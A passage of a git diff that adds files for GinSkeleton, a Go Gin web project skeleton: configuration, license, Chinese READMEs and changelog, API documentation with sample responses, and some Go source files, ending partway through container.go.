diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a7b15bb --- /dev/null +++ b/.gitignore @@ -0,0 +1,11 @@ +ckeditor5-build-classic/node_modules/ +./vscode +GinSkeleton/.vscode +GinSkeleton/.idea/ +.idea/ +.idea + +ckeditor5/node_modules/* +GinSkeleton/config/gorm_v2.yml +GinSkeleton/public/storage +node_modules/ diff --git a/GinSkeleton/.vscode/lanuch.json b/GinSkeleton/.vscode/lanuch.json new file mode 100644 index 0000000..d495fcf --- /dev/null +++ b/GinSkeleton/.vscode/lanuch.json @@ -0,0 +1,14 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Launch Package", + "type": "go", + "request": "launch", + "mode": "auto", + "program": "~/WorkSpace/GinSkeleto", + "env": {}, + "args": [] + } + ] +} \ No newline at end of file diff --git a/GinSkeleton/LICENSE b/GinSkeleton/LICENSE new file mode 100644 index 0000000..c7ae7a3 --- /dev/null +++ b/GinSkeleton/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 张奇峰 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/GinSkeleton/ReadME.md b/GinSkeleton/ReadME.md new file mode 100644 index 0000000..41e817f --- /dev/null +++ b/GinSkeleton/ReadME.md @@ -0,0 +1,30 @@ +## 这是什么? +- 1.这是一个基于go语言gin框架的web项目骨架,专注于前后端分离的业务场景,其目的主要在于将web项目主线逻辑梳理清晰,最基础的东西封装完善,开发者更多关注属于自己的的业务即可。 +- 2.本项目骨架封装了以`tb_users`表为核心的全部功能(主要包括用户相关的接口参数验证器、注册、登录获取token、刷新token、CURD以及token鉴权等),开发者拉取本项目骨架,在此基础上就可以快速开发自己的项目。 +- 3.本项目骨架请使用 `master` 分支版本即可, 该分支是最新稳定分支 . +- 4.本项目骨架从V1.4.00开始,要求go语言版本必须 >=1.15,才能稳定地使用gorm v2读写分离方案,go1.15下载地址:https://studygolang.com/dl +- 5.该版本定位为主线版本,总体追求简洁、无界面,没有太多的业务逻辑,适合开发者自己随意扩展. + +### [GinSkeleton 新版在线文档](https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/mar1g7) +- 1.我们花费了极大的精力编写了非常完整、高质量的文档,初学者优先从如何使用学起, 成熟的开发者可以与我们一起研究 gin 内核源码,成为 gin 框架的高级开发. +- 2.学习 GinSkeleton 您只需要关注主线即可,我们没有创造太多新的语法,只要您会使用 gin 就可以迅速上手 Ginskeleton . +- 3.QQ群:129885228 + +[旧文档入口](./ReadMEBak.md) + + +### ginskeleton 路由跳转插件 +- ginskeleton 的路由是基于容器加载的,需要安装插件才能实现快速跳转. +- 安装步骤:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/ngfzv1 + + +### [点击进入 GinSkeleton-Admin2 系统](https://www.yuque.com/xiaofensinixidaouxiang/qmanaq/qmucb4) +- admin 系统集成界面, 定位快速开发业务方向, 可以在不需要修改一行代码的情况下,快速进入业务开发模式. + + + +#### V 1.5.64 2024-08-03(最新版本) +**更新** + +- 1.`websocket` 修复断电、直接拔网线导致服务端检测的终端在线状态不准确的bug, 因为直接断电、拔网线客户端的回调事件(onClose、onError)根本无法传递出去,服务端对应的socket文件状态无法及时变化. +- 2.项目依赖包全部更新至最新版. diff --git a/GinSkeleton/ReadMEBak.md b/GinSkeleton/ReadMEBak.md new file mode 100644 index 0000000..946fb5a --- /dev/null +++ b/GinSkeleton/ReadMEBak.md @@ -0,0 +1,312 @@ +## 这是什么? +> 1.这是一个基于go语言gin框架的web项目骨架,专注于前后端分离的业务场景,其目的主要在于将web项目主线逻辑梳理清晰,最基础的东西封装完善,开发者更多关注属于自己的的业务即可。 +> 2.本项目骨架封装了以`tb_users`表为核心的全部功能(主要包括用户相关的接口参数验证器、注册、登录获取token、刷新token、CURD以及token鉴权等),开发者拉取本项目骨架,在此基础上就可以快速开发自己的项目。 +> 3.本项目骨架请使用 `master` 分支版本即可, 该分支是最新稳定分支 . +> 4.本项目骨架从V1.4.00开始,要求go语言版本必须 >=1.15,才能稳定地使用gorm v2读写分离方案,go1.15下载地址:https://studygolang.com/dl + +### 问题反馈 +> 1.提交问题请在项目顶栏的`issue`直接添加问题,基本上都是每天处理当天上报的问题。 +> 2.本项目优先关注 [Gitee Issue](https://gitee.com/daitougege/GinSkeleton/issues) 仓库的所有问题, github 太卡严重影响效率。 + +### 本项目主线逻辑图 +> ![业务主线图](https://www.ginskeleton.com/GinSkeleton.jpg) + +### 快速上手 +- 1.go语言环境配置 +```code +// 1.安装的go语言版本必须>=1.15 . + +// 2.配置go包的代理,打开你的终端(cmd黑窗口)并执行以下命令(windwos系统) + // 其他操作系统自行参见:https://goproxy.cn + go env -w GO111MODULE=on + go env -w GOPROXY=https://goproxy.cn,direct + +// 3.下载本项目依赖库 + 使用 goland(>=2019.3版本) 打开本项目,打开 goland 底部的 Terminal ,执行 go mod tidy 下载本项目依赖库 + +``` + +- 2.选择自己正在使用的数据库进行配置 +```code +// 1.Mysql 数据库用户 + // mysql数据库是默认数据库,使用相关的客户端还原即可 + 找到`database/db_demo_mysql.sql`导入数据库, + + +// 2.SqlServer 数据库用户 + 1.找到`database/db_demo_sqlserver.sql`,复制内容,在相关的客户端窗口界面一次性执行即可, + 2.在 app/model 目录内,使用 users_for_sqlserver.txt 的内容覆盖同目录的 users.go 已有内容 + 3.在 config/gorm_v2.yml 中,修改 UseDbType:sqlserver + + +// 3.PostgreSql 数据库用户 + 1.首先使用相关的客户端软件,手动创建数据 db_goskeleton,选择该数据库. + 2.找到`database/db_demo_postgre.sql`,复制内容,在相关的客户端窗口界面一次性执行即可, + 3.在 app/model 目录内,使用 users_for_postgres.txt 的内容覆盖同目录的 users.go 已有内容 + 4.在 config/gorm_v2.yml 中,修改 UseDbType:postgresql + +// 4.完成以上三者中的其中一个之后, + 在 config/gorm_v2.yml 选择您需要使用的数据库类型、配置账号、密码、端口等。 + +``` +- 3.启动项目 +```code + +// 1.启动项目 + 使用goland打开本项目,在根目录手动更新项目依赖,执行命令: go mod tidy + 双击`cmd/(web|api|cli)/main.go`,进入代码界面,找到 `main` 函数左侧,鼠标点击 `run`即可启动,此外鼠标右键`run`也可以启动. + +``` + +### 项目目录结构介绍 +>[核心结构](./docs/project_struct.md) + +### 交叉编译(windows直接编译出linux可执行文件) +```code + // goland 终端底栏打开`terminal`, 依次执行以下命令,设置编译前的参数 + + // 特别注意: 以下三个命令执行时,前后不要有空格,否则最后编译可能会报错,无法编译出最终可执行文件 + # 追加 env -w 表示将值写入环境变量,否则每次只是临时生效, + # 对于运行在linux服务器的程序后续编译就不需要重复设置编译前的参数,如果程序最终运行在windows,则编译参数 GOOS=windows + go env -w GOARCH=amd64 // cpu架构 + go env -w GOOS=linux // 程序运行的最终系统,linux、windows、darwin(苹果macos系统) + go env -w CGO_ENABLED=0 // window编译设置Cgo模块关闭,因为windows上做cgo开发太麻烦,如果引用了Cgo库库,那么请在linux环境开发、编译 + + // 编译出最终可执行文件,进入根目录(GinSkeleton所在目录,也就是 go.mod 所在的目录) + // 编译时建议追加参数:-ldflags "-w -s" ,-w 表示去除调试信息,禁止gdb调试,-s 表示去除符号表(符号表在链接时起着按符号寻址的作用,静态编译后用不到) + // 追加参数编译后的程序体积也会比原来减少25%左右. + // web|api|cli 三个目录选择其一即可,表示编译的入口目录 + go build -o demo_goskeleton -ldflags "-w -s" cmd/(web|api|cli)/main.go + +``` + +### 项目骨架主线、核心逻辑 +> 这部分主要介绍了`项目初始化流程`、`路由`、`表单参数验证器`、`控制器`、`model`、`service` 以及 `websocket` 为核心的主线逻辑. +[进入主线逻辑文档](docs/document.md) + +### 测试用例路由 +[进入Api接口测试用例文档](docs/api_doc.md) + +### 开发常用模块 +> 随着项目不断完善以下列表模块会陆续增加, 虽然数目可能看起来会比较多,但是您只需要选择自己所需要的搭配主线使用即可. +> 只要掌握主线逻辑,结合以下模块,会让整个项目的操作更加流畅、简洁. + +序号|功能模块 | 文档地址 +---|---|--- +1| 全局变量(日志、gorm、配置模块、雪花算法)| [清单一览](docs/global_variable.md) +2 | 表单参数验证器语法| [validator](docs/validator.md) +3 | 复杂表单参数提交| [复杂表单参数提交文档](docs/formparams.md) +4 | 消息队列| [rabbitmq文档](docs/rabbitmq.md) +5 | cli命令| [cobra文档](docs/cobra.md) +6 | goCurl、httpClient|[httpClient客户端](https://gitee.com/daitougege/goCurl) +7|[websocket js客户端](docs/ws_js_client.md)| [websocket服务端](./docs/websocket.md) +8|控制器aop切面编程| [Aop切面编程](docs/aop.md) +9|redis| [redis使用示例](test/redis_test.go) +10|gorm_v2 CURD 操作精华版| [ gorm+ginskeleton 增删改查精华](docs/concise.md) +11|gorm_v2操作(mysql、sqlserver、postgreSql)| [gorm v2 更多测试用例](test/gormv2_test.go) +12|多源数据库的操作| [同时连接多台服务器的mysql、sqlserver、postgresql操作](docs/many_db_operate.md) +13|gorm_v2 Scan Find函数查询结果一键树形化| [sql结果树形化反射扫描器](https://gitee.com/daitougege/sql_res_to_tree) +14|日志记录| [zap高性能日志](docs/zap_log.md) +15|ELK 项目日志顶级解决方案| [elk 7.13.3 推荐使用](https://gitee.com/daitougege/elk-docker-compose)
[elk 7.9.1 旧版本](docs/elk_log.md) +16| 验证码(captcha)以及验证码中间件| [验证码使用详情](docs/captcha.md) +17| nginx配置(https、负载均衡)|[nginx配置详情](docs/nginx.md) +18|主线解耦| [对验证器与控制器进行解耦](docs/low_coupling.md) +19|Casbin 接口访问权限管控| [Casbin使用介绍](docs/casbin.md) +20|Mysql主从同步(旨在实现读写分离)| [使用docker-compose快速搭建](https://gitee.com/daitougege/mysql-master-slave-docker-compose) + + +### 项目部署方案 +序号|部署办法 | 文档地址 +---|---|--- +1 | 开发、调试环境| [最简单的 nohup](docs/deploy_nohup.md) +2 | 生产环境之supervisor进程守护 | [稳定可靠的进程守护方案](docs/supervisor.md) +3 | 生产环境之docker部署方案 | [稳定可靠、版本回滚、扩容非常灵活的方案](docs/deploy_docker.md) + + +### 项目上线后,运维方案(基于docker) +序号|运维模块 | 文档地址 +---|---|--- +1 | linux服务器| [性能指标监控](http://gitee.com/daitougege/grafana-prometheus-nodeexpoter)
[旧版本](docs/deploy_linux.md) + +### 并发测试 +[点击查看详情](docs/bench_cpu_memory.md) + +### 性能分析报告 +> 1.开发之初,我们的目标就是追求极致的高性能,因此在项目整体功能越来越趋于完善之时,我们现将进行一次全面的性能分析评测. +> 2.通过执行相关代码, 跟踪 cpu 耗时 和 内存占用 来分析各个部分的性能,CPU耗时越短性、内存占用越低能越优秀,反之就比较垃圾. + +#### 通过CPU的耗时来分析相关代码段的性能 +序号|分析对象 | 文档地址 +---|---|--- +1| 项目骨架主线逻辑| [主线分析报告](./docs/project_analysis_1.md) +2| 操作数据库代码段| [操作数据库代码段分析报告](./docs/project_analysis_2.md) + +#### 通过内存占用来分析相关代码段的性能 +序号|分析对象 | 文档地址 +---|---|--- +1| 操作数据库代码段| [操作数据库代码段](./docs/project_analysis_3.md) + +### FAQ 常见问题汇总 +[点击查看详情](./docs/faq.md) + +## GinSkeleton-Admin 后台系统 +> 1.本系统是基于 GinSkeleton(v1.5.10) + Iview(v4.5.0) 开发而成的企业级项目后台骨架. +> 2.在线演示系统相比本地运行的版本收缩了修改、删除 数据的权限. +![预览图](https://www.ginskeleton.com/images/home_page1.png) + +### [在线演示系统: GinSkeleton-Admin](http://139.196.101.31:20202/) +### [admin 后端仓库](https://gitee.com/daitougege/gin-skeleton-admin-backend) +### [admin 前端仓库](https://gitee.com/daitougege/gin-skeleton-admin-frontend) + +#### 主线版本更新日志 + +#### V 1.5.30 2021-11-28 +* 新增 + 1.引入表单参数验证器全局自动翻译器,简化代码书写,提升开发效率. +* 更新 + 1.按照gin官方提示,当程序切换到生产模式时,对gin的路由进行二次封装、异常恢复中间件自定义重写,release模式经过并发测试可以获得5%的性能提升. + 1.1 当配置文件(config/config.yml)中的键 `AppDebug` 设置为 `false` 时,gin 路由默认启用 `release` 模式,并且不会记录接口访问日志,生产环境请使用 `nginx` 代理,也方便实现负载均衡. + 2.其他更新主要是一些细节:文档、程序注释方面. + +#### V 1.5.29 2021-11-15 +* 新增 + 1.多源数据库操作文档. + 2.在 `cli` 模式执行操作数据库命令时支持 `created_at` 和 `updated_at` 字段自动赋值. + 3.`gorm v2` 接入层 `utils` 增加 `Create` 函数的参数类型非指针时拦截检查逻辑, 避免发生 `panic` ,该函数官方没有针对数据类型做安全检查. + 4.`gorm v2` 接入层 `utils` 增加 `Save、Update` 函数的参数类型非指针时拦截检查逻辑,以便支持 `gorm` 的所有回调函数. + 5.为了完美支持第4条功能,今后开发者使用 `gorm` 函数 `Create 、Save、Update ` 时请统一传递指针类型的参数, 如果老项目直接合并 `ginskeleton` 的代码, 原来调用 `Save、Update` 函数的参数需要手动修改为指针类型. +* 更新 + 1.验证码控制器文件单词拼写错误修正. + 2.路由中的一些注释更新. + 3.所有依赖包更新至最新版,与 `gorm` 包相关的接入层(utils)日志部分也同步更新. + +#### V 1.5.28 2021-10-07 +* 更新 + 1.文档更新,增加复杂表单参数提交的处理示例文档,文档其他完善更新. + 2.解决项目在 `linux` 环境启动时,如果 `public` 目录内有从 `windows` 环境复制过来的软连接无法删除的问题. + 3.`token` 刷新路由与其他路由逻辑分离. +* 漏洞修复: + 1.` ≤ V1.5.24 ` 包括此版本 `token` 认证中间件存在被恶意构造特殊 `token` 绕过的风险,请尽快升级到最新版. + 1.1 升级方法:使用最新的 `app/http/middleware/authorization/auth.go` 替换 `V1.5.24`以及之前的版本同位置代码即可. + +#### V 1.5.27 2021-09-18 +* 更新 + 1.`app/model/users.go` 中,操作数据库的函数参数,个别使用了 `float64` ,全部统一为 `int` 系列,避免给开发者带来不必要的困扰. + +#### V 1.5.26 2021-09-13 +* 更新 + 1.精简合并代码. + +#### V 1.5.25 2021-09-13 +* 新增 + 1.cli命令模式增加简单示例,方便新用户快速上手,相关位置:./command/demo_simple/. +* 更新 + 1.过期token刷新逻辑增加延期时间范围,方便已经处于过期时间范围内的token刷新换取新token. + 2.交叉编译部分完善常用编译参数说明. + +#### V 1.5.24 2021-09-03 + +* 修复 + 1.图形验证码逻辑:如果没有使用本系统封装的验证码中间件,而是直接调用了自定义验证逻辑部分代码,则一直提示没有获取验证码信息. +* 更新 + 1.编译部分,增加编译时参数的选项说明. + 2.websocket 完善文档使用说明. + 3.在安装有360软件的机器上本项目启动失败,增加提示原因. + +#### V 1.5.23 2021-08-06 + +* 修复 + 1.postgresql文件 `app/model/users_for_postgres.txt` 中一处bug,登陆后,登陆次数+1时sql语句报错. +* 更新 + 1.为 `http://github.com/casbin/gorm-adapter` 依赖包提交pr,由于官方已经合并,此包更新至最新版,解决postgresql创建索引报错的bug. + +#### V 1.5.22 2021-08-04 +* 新增 + 1.项目部署方案. + 2.mysql主从同步快速部署方案. + 3.新增redis执行结果常用转换函数. + 4.新增postgresql数据库demo,至此,主线版本已经全面支持 mysql、sqlserver、postgresql数据库. +* 更新 + 1.项目依赖的所有包更新至最新版. + 2.项目使用文档. + +#### V 1.5.21 2021-07-16 +* 更新 + 1.项目依赖的所有包更新至最新版. + 2.项目日志对接到 elk 日志管理中心,增加 `docker-compose.yml` 集成环境快速部署脚本,详情参见常用开发模块第 13 项. + 3.增加项目部署文档. + +#### V 1.5.20 2021-06-18 +* 更新 + 1.表单参数验证器示例代码更新,提供了更加紧凑的书写示例代码,相关示例文档同步更新. + 2.一个用户同时允许最大在线的token, 查询时优先按照 expires_at 倒序排列,便于不同系统间对接时,那种长久有效的token不会被"踢"下线. + 3.command 命令示例 demo 调整为按照子目录创建 cli 命令,方便更清晰地组织更多的 command 命令代码. + 4.nginx 部署文档优化,在nginx处理请求时,相关的静态资源直接由nginx拦截响应,提升响应速度,这样 go 程序将更专注于处于api接口请求. + 5.自带的 mysql 数据库创建脚本字段 last_login_ip , 设置默认值为 '' . + +#### V 1.5.17 2021-06-06 +* 新增、更新 + 1.sqlserver 数据库对应的用户模型,参见 app/model/users_for_sqlserver.txt. + 2.更新 database/db_demo_sqlserver.sql 数据库、表创建命令. + 修复 + 1.修正常量定义处日期格式单词书写错误问题. + + +#### V 1.5.16 2021-05-28 +* 新增 + 1.增加验证码中间件以及使用介绍. + +#### V 1.5.15 2021-05-11 +* 完善 + 1.文件上传后自动创建目录时,目录权限由(0666)调整为:os.ModePerm,解决可能遇到的权限问题 . + 2.cobra 文档增加创建子命令的示例链接. + +#### V 1.5.14 2021-04-28 +* 完善 + 1.更新 rabbitMq 排版 + 2.更新 websocket 文档 + +#### V 1.5.13 2021-04-27 +* 完善 + 1.表单参数验证器注册文件拆分为:api、web,当项目较大时,尽可能保持逻辑清晰、简洁. + 3.完善细节,避免mysql 函数 FROM_UNIXTIME 参数最大只能支持21亿的局限. + 3.核心依赖包升级至最新版. + +#### V 1.5.12 2021-04-20 +* 完善 + 1.app/model/users 增加注释,主要是主线版本操作数据库大量使用了原生sql,注释主要增加了 gorm_v2 自带语法操作数据库的链接地址. + 2.代码中涉及到的分页语法(limit offset,limit),参数 offset,limit 统一调整为 int 型,解决mysql8.x系列高版本的数据库不支持浮点型的问题. + + +#### V 1.5.11 2021-04-02 +* 变更 + 1.app/model/BaseModel 文件中,UseDbConn 函数名首字符调整为大写,方便创建更多的子级目录. +* 更新 + 1.日志(nginx 的access.log)对接到 ELK 日志管理中心,相关文档更新,增加了ip转 经纬度功能,方便展示用户在世界地图的分布. + 2.针对上一条,补充了日志展示的整体[效果图](docs/elk_log.md) + +#### V 1.5.10 2021-03-23 +* 完善 + 1.form表单参数验证器完成验证后, 自动为上下文绑定三个键:created_at、updated_at、deleted_at ,相关值均为请求时的日期时间. + 2.baseModel 中 created_at、updated_at 修改为 string 类型,方便从上下文自动绑定对应的键值到 model . + 3.用户每次登录后,tb_users 表,登陆次数字段+1 . + 4.nginx 部署文档修正一处缺少单引号的错误. + 5.gorm 操作数据库精华版文档更新. + 6.删除其他小部分无关代码. + 7.增加自动创建连接功能,只为更好地处理静态资源. + 8.文件上传代码配置项增加部分参数,代码同步升级. + 9.GinSkeleton-Admin 系统同步发布. + +#### V 1.5.00 2021-03-10 +* 新增 + 1.为即将发布的 GinSkeleton-Admin 系统增加了基础支撑模块:casbin模块、gorm_v2 操作精华版文档,参见**常用开发模块**列表. + 2.token模块引用的部分常量值调整到配置文件. + 3.调整token校验中间件和casbin中间件名称. + 4.主线版本本次更新并不是很多,今后主线版本将依然保持简洁,后续的新功能模块都将以包的形式引入和调用. + 5.更多企业级的功能将在后续推出的 GinSkeleton-Admin 展现,欢迎关注本项目,反馈使用意见. + +V 1.1.xx - 1.4.xx 版本日志 +> 1.[历史日志](docs/history_log.md) + +### 感谢 jetbrains 为本项目提供的 goland 激活码 +![https://www.jetbrains.com/](https://www.ginskeleton.com/images/jetbrains.jpg) diff --git a/GinSkeleton/api_doc.md b/GinSkeleton/api_doc.md new file mode 100644 index 0000000..6d08c97 --- /dev/null +++ b/GinSkeleton/api_doc.md @@ -0,0 +1,242 @@ +### 验证码 +无需校验参数 +##### 获取验证码 +> *GET*,/captcha +> 返回示例: +```json +{ + "code": 200, + "data": { + "id": "ECAZBGqD6ORferpWPx9y", + "img_url": "/captcha/ECAZBGqD6ORferpWPx9y.png",// 验证码图片地址 + "refresh": "/captcha/ECAZBGqD6ORferpWPx9y.png?reload=1", + "verify": "/captcha/ECAZBGqD6ORferpWPx9y/这里替换为正确的验证码进行验证" + }, + "msg": "验证码信息" +} +``` +#### 验证验证码 +> *GET*,/captcha/:captcha_id/:captcha_value +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "验证码校验通过" +} +``` + +## 用户相关 +### 无需鉴权 +#### 获取公钥 +> *POST*,/admin/users/publickey +参数字段|参数属性|类型|选项 +---|---|---|---|--- +user_name|form-data|string|必填 +> 返回示例: +``` +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw/GsJEfppPkaZXGt7uKr +q2UOsCEzrtPYz/DDUCjJzWnr725FoNqT77B33QbET995hay8j8Bcwwj7APkUYKyt +RoNUOJkaWgAqpNp9/TKhulFex8ycEaI1lG0kzqPQtcNjIQyqOQ1qSyXb8BxFFN5+ +zvuWdpb4lI8YxZGg9+n77qtmr2an7d4ADIsRVAejJuoDWB56RovVuiLihG71Wfam +V1HhGf0ykWfyamd1HxN74hdBICbpChWPCmD/S2MwBMViM+TfCu5D15DxP5ZkADLU +vV81YIKBLg6KZUV7N7oZzzJqiEmpeis4QO4ABf/KRQ9KVRe4dcJFi4E0uVCBKGm8 +1QIDAQAB +-----END PUBLIC KEY----- +``` +> 加密参考 */test/login_test.html* +> 用户发送密码必须通过加密,否则会产生错误 +```javascript +const response = await fetch('http://localhost:14514/admin/users/publickey?user_name=joefalmko',{ + method: 'POST', +}); +const publicKey = await response.text(); +console.log("public key:\n",publicKey); + +// Encrypt the password using the public key +const encrypt = new JSEncrypt(); +encrypt.setPublicKey(publicKey); +const encryptedPassword = encrypt.encrypt(password); +console.log("encrypted password: ",encryptedPassword); +``` +#### 用户注册 +> *POST*,/admin/users/register +参数字段|参数属性|类型|选项 +---|---|---|---|--- +user_name|form-data|string|必填 +pass|form-data|string|必填 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` +#### 用户登录 +> *POST*,/admin/users/login +参数字段|参数属性|类型|选项 +---|---|---|---|--- +user_name|form-data|string|必填 +pass|form-data|string|必填 +> 返回示例: +```json +{ + "code": 200, + "data": { + "userId":5 + "token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo1LCJ1c2VyX25hbWUiOiJqb2VmYWxta28iLCJwaG9uZSI6IiIsImV4cCI6MTczMDA1OTQxMSwibmJmIjoxNzMwMDMwNjAxfQ.tqxCyPGQYPpTUJBoqZ47sfCAdxEN2thKRBPHilWHl18", + "updated_at":"2024-10-27 20:03:31", + "msg": "Success" + } +} +``` +### 需要鉴权 +Header中必须包含 "Authorization": "Bearer {token}" +#### 获取用户信息 +> *POST*,/admin/users/info +参数字段|参数属性|类型|选项 +---|---|---|---|--- +user_name|form-data|string|必填 +> 返回示例: +```json +{ + "code": 200, + "data": { + "id": 1, + "user_name": "joefalmko", + }, + "msg": "Success" +} +``` +#### 更新用户名 +> *POST*,/admin/users/username +参数字段|参数属性|类型|选项 +---|---|---|---|--- +user_name|form-data|string|必填 +id|form-data|int|必填 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` +#### 更新密码 +> *POST*,/admin/users/password +参数字段|参数属性|类型|选项 +---|---|---|---|--- +user_name|form-data|string|必填 +id|form-data|int|必填 +oldpass|form-data|string|必填 +newpass|form-data|string|必填 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` +#### 注销用户 +> *POST*,/admin/users/delete +参数字段|参数属性|类型|选项 +---|---|---|---|--- +user_name|form-data|string|必填 +id|form-data|int|必填 +pass|form-data|string|必填 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` +#### 登出用户 +> *POST*,/admin/users/logout +参数字段|参数属性|类型|选项 +---|---|---|---|--- +id|form-data|int|必填 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` +#### token刷新 ,请将旧token放置在header头参数直接提交更新 +> *post*,/admin/users/refreshtoken + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTIxNzMsIm5iZiI6MTYwNDA0ODU2M30.YNhN9_QasHc5XILQiilZvhxpPDnmC_j82y4JfYPnI7A + +> 返回示例: +```json +{ + "code": 200, + "data": { + "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTYxMDcsIm5iZiI6MTYwNDA0ODU2M30.JPE6G-9YE9UTdxHiWuvdVlD-akiIkvp6Ezf9y4_ud9M" + }, + "msg": "Success" +} +``` + +#### 请求图片文字识别 +> *post*,/admin/ai_recognition/pic_recognition + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +pic|form-data|string|必填|"" (示例内容在 storage/app/test/文字识别.txt 中) + +> 返回示例: +```json +{ + "code": 200, + "data": { + "words": "out[entry]=\nfor each basic block ∈N -{entry}\nout[B] =\nchange = true\nwhile (changes) {\n// Find: fix point solution\nchange = false\nfor each B∈N - {entry} {\noldout = out[B]\nin[B]= Uout[P]\nP∈pred[B]\nout[B] = GEN[B] ∪ (in[B]∩ PRSV[B])\nif(out[B] ≠ oldout) change = true;\n}\n}\n" + }, + "msg": "Success" +} +``` + +#### 请求语音识别 +> *post*,/admin/ai_recognition/voc_recognition + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +voc|form-data|string|必填|"" (示例内容在 storage/app/test/A13_221.txt 中) + +> 返回示例: +```json +{ + "code": 200, + "data": { + "words": "韩国的基本目标是射箭三块金牌只到三块金牌,羽毛球,两块金牌,以及举重等12块金牌。\n" + }, + "msg": "Success" +} +``` + +#### 请求文本优化 +> *post*,/admin/ai_doc/doc_refine + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +doc|form-data|string|必填|"" +background|form-data|string||"" +type|form-data|string|必填|"summary"/"decoration"/"correction"/"extension"/"translation" +> 返回示例: +```json +{ + "code": 200, + "data": { + "new_doc": "Whether it's a business report, an academic paper, or a creative piece of writing, this module can polish the language, correct grammar and spelling errors, and optimize the overall structure." + }, + "msg": "Success" +} +``` \ No newline at end of file diff --git a/GinSkeleton/app/aop/users/destroy_after.go b/GinSkeleton/app/aop/users/destroy_after.go new file mode 100644 index 0000000..bb704ef --- /dev/null +++ b/GinSkeleton/app/aop/users/destroy_after.go @@ -0,0 +1,19 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" +) + +// 模拟Aop 实现对某个控制器函数的前置和后置回调 + +type DestroyAfter struct{} + +func (d *DestroyAfter) After(context *gin.Context) { + // 后置函数可以使用异步执行 + go func() { + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + variable.ZapLog.Sugar().Infof("模拟 Users 删除操作, After 回调,用户ID:%.f\n", userId) + }() +} diff --git a/GinSkeleton/app/aop/users/destroy_before.go b/GinSkeleton/app/aop/users/destroy_before.go new file mode 100644 index 0000000..5fda1c2 --- /dev/null +++ b/GinSkeleton/app/aop/users/destroy_before.go @@ -0,0 +1,22 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" +) + +// 模拟Aop 实现对某个控制器函数的前置和后置回调 + +type DestroyBefore struct{} + +// 前置函数必须具有返回值,这样才能控制流程是否继续向下执行 +func (d *DestroyBefore) Before(context *gin.Context) bool { + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + variable.ZapLog.Sugar().Infof("模拟 Users 删除操作, Before 回调,用户ID:%.f\n", userId) + if userId > 10 { + return true + } else { + return false + } +} diff --git a/GinSkeleton/app/core/container/container.go b/GinSkeleton/app/core/container/container.go new file mode 100644 index 0000000..b60a188 --- /dev/null +++ b/GinSkeleton/app/core/container/container.go @@ -0,0 +1,69 @@ +package container + +import ( + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "log" + "strings" + "sync" +) + +// 定义一个全局键值对存储容器 +var sMap sync.Map + +// CreateContainersFactory 创建一个容器工厂 +func CreateContainersFactory() *containers { + return &containers{} +} + +// 定义一个容器结构体 +type containers struct { +} + +// Set 1.以键值对的形式将代码注册到容器 +func (c *containers) Set(key string, value interface{}) (res bool) { + + if _, exists := c.KeyIsExists(key); exists == false { + sMap.Store(key, value) + res = true + } else { + // 程序启动阶段,zaplog 未初始化,使用系统log打印启动时候发生的异常日志 + if variable.ZapLog == nil { + log.Fatal(my_errors.ErrorsContainerKeyAlreadyExists + ",请解决键名重复问题,相关键:" + key) + } else { + // 程序启动初始化完成 + variable.ZapLog.Warn(my_errors.ErrorsContainerKeyAlreadyExists + ", 相关键:" + key) + } + } + return +} + +// Delete 2.删除 +func (c *containers) Delete(key string) { + sMap.Delete(key) +} + +// Get 3.传递键,从容器获取值 +func (c *containers) Get(key string) interface{} { + if value, exists := c.KeyIsExists(key); exists { + return value + } + return nil +} + +// KeyIsExists 4. 判断键是否被注册 +func (c *containers) KeyIsExists(key string) (interface{}, bool) { + return sMap.Load(key) +} + +// 